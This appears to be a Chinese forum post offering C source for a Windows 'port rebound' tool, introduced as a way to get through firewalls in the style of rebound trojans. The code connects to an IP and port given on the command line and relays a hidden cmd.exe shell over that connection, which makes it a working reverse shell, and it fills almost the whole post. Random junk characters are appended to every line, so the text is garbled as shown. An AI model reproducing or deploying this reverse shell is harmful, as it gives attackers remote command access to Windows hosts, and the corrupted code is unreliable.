Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 4 -tC=>>wc  
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/* ============================== Br
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Rebound port in Windows NT d2UidDU5qa  
By wind,2006/7 3FR(gr$X  
===============================*/ >Y08/OAI.2  
#include K2Abu?  
#include |s! _;6  
h]s6)tII  
#pragma comment(lib,"wsock32.lib") >}*W$i  
{C5:as  
void OutputShell(); [gBf
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SOCKET sClient; veq3t$sj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #<)[{+f[t  
`;}`>!8j  
void main(int argc,char **argv) H*N<7#  
{ #4m5I="  
WSADATA stWsaData; w317]-n  
int nRet; ,<L4tp+y0  
SOCKADDR_IN stSaiClient,stSaiServer; v<v;ZR)  
{%3WHGr%L  
if(argc != 3)  9Do75S{(  
{ 90}vFoy  
printf("Useage:\n\rRebound DestIP DestPort\n"); uNn1qV  
return; J-<P~9m~I  
} vE)N6Ss  
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WSAStartup(MAKEWORD(2,2),&stWsaData); hhPQ.{]>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); # QwX|x{  
1!^BcrG.  
stSaiClient.sin_family = AF_INET; [ojL9.6  
stSaiClient.sin_port = htons(0); 7310'wc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2B$dT=G  
01@WU1IN  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AVjRhe  
{ ` 1+*-g^r  
printf("Bind Socket Failed!\n"); enPtW  
return; HVA:|Z19  
} TI3xt-/  
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stSaiServer.sin_family = AF_INET; }T.>p#z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,5zY1C==Ut  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H'3 pHb  
9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f.J^HQ_  
{ OulRqbL2  
printf("Connect Error!"); 75H!i$(*+  
return; k+{~#@  
} LIG@`  
OutputShell(); !7\dr )  
} CL2zZk{u_  
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void OutputShell() pHR`%2!"t  
{ \ R}I4'  
char szBuff[1024]; gtH^'vFZ  
SECURITY_ATTRIBUTES stSecurityAttributes; U $#^
e  
OSVERSIONINFO stOsversionInfo; 2#$7!`6K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H 2I  
STARTUPINFO stStartupInfo; x(u.(:V  
char *szShell; -}TP)/!,*  
PROCESS_INFORMATION stProcessInformation; t'Yd+FK
  
unsigned long lBytesRead; H$ nzyooh  
f ] *w1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Lfx a^0  
e6'0g=Y#   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e;=R8i  
stSecurityAttributes.lpSecurityDescriptor = 0; EUt2S_2P  
stSecurityAttributes.bInheritHandle = TRUE; z}J~X%}e  
!Yo2P"  
^) s6`:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vrmMEWPV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JUw|nUnl?  
NUiv"tAY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r^.9 |YM5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8ZV!ld  
stStartupInfo.wShowWindow = SW_HIDE; K @&c  
stStartupInfo.hStdInput = hReadPipe; VB/75xK_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~uY5~Qs9G  
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GetVersionEx(&stOsversionInfo); y+BiaD!U  
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switch(stOsversionInfo.dwPlatformId) tPiC?=4R  
{ v89tV9O)  
case 1: "xC$Ko _  
szShell = "command.com"; 3U?gw!M>  
break; W!el[@  
default: 0KExB{K  
szShell = "cmd.exe"; )]Zdaw)X  
break; w@WtW8 p^  
} >Heuf"V  
M"c=_5P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )LG!"~qiz  
&:d`Pik6  
send(sClient,szMsg,77,0); zLr:zfl  
while(1) ~yN>9fU  
{ eYRd#w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); HHyN\  
if(lBytesRead)
<AVWT+,  
{ }6u}?>S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'GW~
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send(sClient,szBuff,lBytesRead,0); T:'<:*pD  
} )sIzBC  
else @?tR-L<u  
{ (Z@-e^R  
lBytesRead=recv(sClient,szBuff,1024,0); 4%v-)HGh  
if(lBytesRead<=0) break; P<1&kUZL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4Vj]bm  
} A5fzyG
 
} Kk.\P|k2  
'yOx&~H]  
return; g>ke;SH%KY  
}